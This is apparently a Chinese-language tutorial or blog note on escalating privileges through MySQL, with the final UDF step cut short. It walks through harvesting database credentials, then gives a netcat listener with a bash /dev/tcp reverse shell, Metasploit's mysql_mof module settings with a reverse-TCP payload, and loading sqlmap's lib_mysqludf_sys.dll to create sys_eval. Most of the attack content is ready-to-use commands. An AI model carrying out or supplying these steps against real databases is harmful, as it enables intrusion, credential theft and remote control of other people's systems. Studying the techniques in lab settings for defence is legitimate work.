Mysql提权

mysql提权基础

 mysql通常在php语言中用的比较多
 连接数据库的文件名一般为conn.php、config.php、common.inc.php、config.inc.php等
 mysql的提权一般需要root用户

密码的获取

 1、数据库查询
  select Host,user,password from mysql.user (查询该表需要root权限)

 2、配置文件读取
  类似未删除的备份文件、git等开源平台、一些打包的压缩文件造成的源码或者配置文件泄露

 3、下载user文件
  在mysql的data目录下,user.frm、user.MYD、user.MYT可能存在有密码的信息

select @@basedir  获取当前数据库的地址
select @@plugin_dir  插件目录,mysql版本>5.1才有插件目录

提权

简单粗暴的system反弹shell
  mysql中root用户可以用system + 命令来执行系统命令
  system whoami; 执行whoami命令

  反弹shell:
  攻击机监听:nc -lvvp 7777 (在7777端口监听)



  靶机:id=1;system bash -i >& /dev/tcp/ip/port 0>&1



  此时攻击机反弹shell,可以执行命令

尝试失败的mof提权
  在windows的 c:/windows/system32/wbem/mof/ 目录下,里面的mof文件每个一段时间便会执行一次
  当我们知道了mysql的账号密码并且可以连接后,可以尝试用msf的攻击模块提权

  msfconsole下:
   use exploit/windows/mysql/mysql_mof
   set rhost xxx.xxx.xxx.xxx  (目标IP)
   set rport 3306 (远程连接数据库的端口)
   set username root  (远程连接的数据库账户)
   set password 123456  (远程连接的密码)
   set lhost xxx.xxx.xxx.xxx (反弹shell的地址)
   set lport 7777  (反弹shell的端口)
   set payload windows/shell_reverse_tcp (设置攻击载荷)

   exploit 开始攻击


   提示上传成功了但是没有会话,不知道为什么,正常结果的话等待一段时间会反弹shell回来

   然后我在攻击机上执行nc -lvvp 6666监听
   去靶机点击执行msf上传到c:/windows/system32的exe文件



   然后反弹shell了,怀疑mof里面的文件根本没有自动执行


老生常谈udf提权
  UDF(user defined function),用户自定义函数,可以用于自定义函数来执行命令。需要mysql安装udf

  mysql版本大于5.1,使用select @@plugin_dir语句查看插件安装的目录



  mysql版本小于5.1,windows 2000下放置在c:/winnt/system32目录,否则就放在c:/windows/system32的目录下

  udf.dll文件在哪里找呢,在sqlmap下就有
  在sqlmap的目录下 ./udf/mysql/中就能找到,我的靶机版本是32位的


  高版本的sqlmap会将该文件加密将文件移动到./extra/cloak/中,使用cloak.py解码
  python2 cloak.py -d -i lib_mysqludf_sys.dll_
  解码完成后就有dll文件了,复制到插件目录


  复制完成后执行create function sys_eval returns string soname "lib_mysqludf_sys.dll",创建里面的函数,注意这里不用输入dll的绝对路径
  

你可能感兴趣的:(Mysql提权)